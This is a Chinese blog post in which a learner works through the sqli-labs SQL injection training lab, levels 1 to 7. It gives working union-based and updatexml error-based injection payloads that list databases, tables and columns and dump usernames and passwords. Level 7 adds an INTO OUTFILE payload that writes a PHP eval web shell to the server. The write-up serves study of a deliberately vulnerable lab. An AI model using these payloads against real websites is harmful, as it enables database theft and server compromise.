sql-labs(部分)

什么是sql-labs?

SQL 注入(SQL Injection) 是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。 主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息
推荐一个视频【转载】SQL注入、SSTI&Docker逃逸 HTB CTF -GoodGame-哔哩哔哩

Less-1,2

这两个知识点,都没差…
网上查询得Pass-01基于单引号的SQL注入,Pass-02基于整数的注入

判断是否存在注入

用get传值id=1,随后能看到网页出现变化
在这里插入图片描述用get传值id=2,
在这里插入图片描述
用get传值id=15之后,界面异常。
在这里插入图片描述
有没有可能把?id=1,这个传参给它拼接到SQL语句中?并且被当做SQL代码进行执行?
尝试,?id=1 and 1=2…无变化。
在这里插入图片描述
Pass-02的知识从这开始,尝试闭合?id=1’and 1=1-- za(后跟的字母随便…)
在这里插入图片描述
注意空格(格式),否则会报错,如图
在这里插入图片描述
?id=1’and 1=2-- zaa,页面异常(可能存在SQL注入)
在这里插入图片描述

判断字段数

使用 order by 查询所有字段,从1开始直到4,发现3正常,但是4的页面异常(存在三个字段)
在这里插入图片描述

union select判断显错位(回显)

输入,?id=1’union select 1,2,3-- zaa,显示了前面的结果,
1,2,3:仅仅相当于占了三个位置(先前order by 查询为3),所以用什么表示均可。
在这里插入图片描述
从而试着将id=1,改为id=15(因为页面没结果)
在这里插入图片描述
注意:有文章说,已知这里面只有三列,找每一列的位置,使用 ?id=0’ union select 1,2,3 --+ (要注意的是此处的id值必须是0以下的数字,否则不能成功)

库名和登录用户名

将2的位置换为database(),显示当前页面数据库库名:security。
在这里插入图片描述
查询当前数据库的库名和当前的登录用户名,使用 ?id=0’ union select 1,database(),user() – zaa
user()顶替3的位置,为当前的登录用户名。
在这里插入图片描述

判断表名

?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa

table_name:代表表名
information_schema藏有自带的数据库
table_schema字面指库名
在这里插入图片描述
第二位(则第一位可用limit 0,1表示)
?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 1,1– zaa
在这里插入图片描述
第三位(limit 1,1中的前面的1改为2)
即…?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 2,1-- zaa
在这里插入图片描述
等…

判断列名

?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
emails:可根据表进行替换
在这里插入图片描述
例:
?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘referers’-- zaa
在这里插入图片描述

判断数据

?id=15’union select 1,id,3 from emails-- zaa
在这里插入图片描述
与上同,emails:可根据表进行替换

快法(要注意的是此处的id值必须是0以下的数字,否则不能成功)

将2的位置换为database(),显库名:security。
参考文章…

表名

数据库库名后再爆破数据库,使用 ?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+
在这里插入图片描述
表名一步到位…

列名

?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘emails’),3 --+
emails:可根据表进行替换
在这里插入图片描述

数据名

格式?id=0’ union select 1,(select group_concat(concat_ws(0x7e,表名对应的列名,表名对应的列名)) from 表名),3 --+
0x7e应该是个站位的…,其位置也可为表名对应的列名,观察02,03

01

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,id,email_id)) from emails),3 --+ 进行爆破,得到以下内容。
在这里插入图片描述

02

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 --+ 进行爆破,得到以下内容。
在这里插入图片描述

03

?id=0’ union select 1,(select group_concat(concat_ws(id,username,password)) from users),3 --+ 进行爆破,得到以下内容
在这里插入图片描述

Less-3

查看源码…发现被框了。不会被当做代码,从而使代码失效。在这里插入图片描述
从而’后加一个)

判断是否存在注入?id=1’)and 1=1-- za
判断字段数?id=1’)order by 1-- za
union select判断显错位?id=1’)union select 1,2,3-- zaa
判断表名?id=15’)union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa
判断列名?id=15’)union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
判断数据名?id=15’)union select 1,id,3 from emails-- zaa

Less-4

由图与03相比单引变成了双引号…
在这里插入图片描述

判断是否存在注入?id=1")and 1=1-- za
判断字段数?id=1")order by 1-- za
union select判断显错位?id=1")union select 1,2,3-- zaa
判断表名?id=15")union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa
判断列名?id=15")union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
判断数据名?id=15")union select 1,id,3 from emails-- zaa

Less-5

先传个参!
在这里插入图片描述
此处是一个单引号闭合,输入的东西都会在单引号里面。
在这里插入图片描述
在这里插入图片描述
查看源码…
在这里插入图片描述

下面牵扯到一个新的updexml(目标xml内容,xml文档路径,更新内容)
语法:updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置,写入子查询,我们输入特殊符号,然后就因为不符合输入规则就报错了。
报错的时候他就已经执行了那个子代码查询。
0x7e:实际是十六进制(Myaql支持16进制,但开头的得写0x,0x7e是一个特殊符号,然后不符合路径规则)
这个函数一般是配合and或者是or使用的,他和联合查询不同。

select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
如果and前面的条件不成立,就不会执行后面的语句。
报错一般有长度的限制,不能输出太长的数据,尽量不要使用group_concat()
判断是否存在注入:? id=1' and 1=1 -- zaa
判断库名:? id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- zaa
判断表名:? id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa
判断列名:? id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- zaa
判断数据:? id=1' and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- zaa

在这里插入图片描述
如图所示 %20表示为空格,%27表示为’

Less-6

与第五关相比,闭合方式不同。

判断是否存在注入:? id=1" and 1=1 -- zaa
判断库名:? id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- zaa
判断表名:? id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa
判断列名:? id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- zaa
判断数据:? id=1" and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- zaa

Less-7

判断字段数:

? id=1')) order by 3 -- zaa

写码:

?id=1')) union select 1,"<?php eval($_REQUEST[1]?)>",3 into outfile "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php"-- zaa

可能是没有配置。
在这里插入图片描述
嗯…学习视频中,点不太会,这几天课太满,可能要在换个思路,先放着,,,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值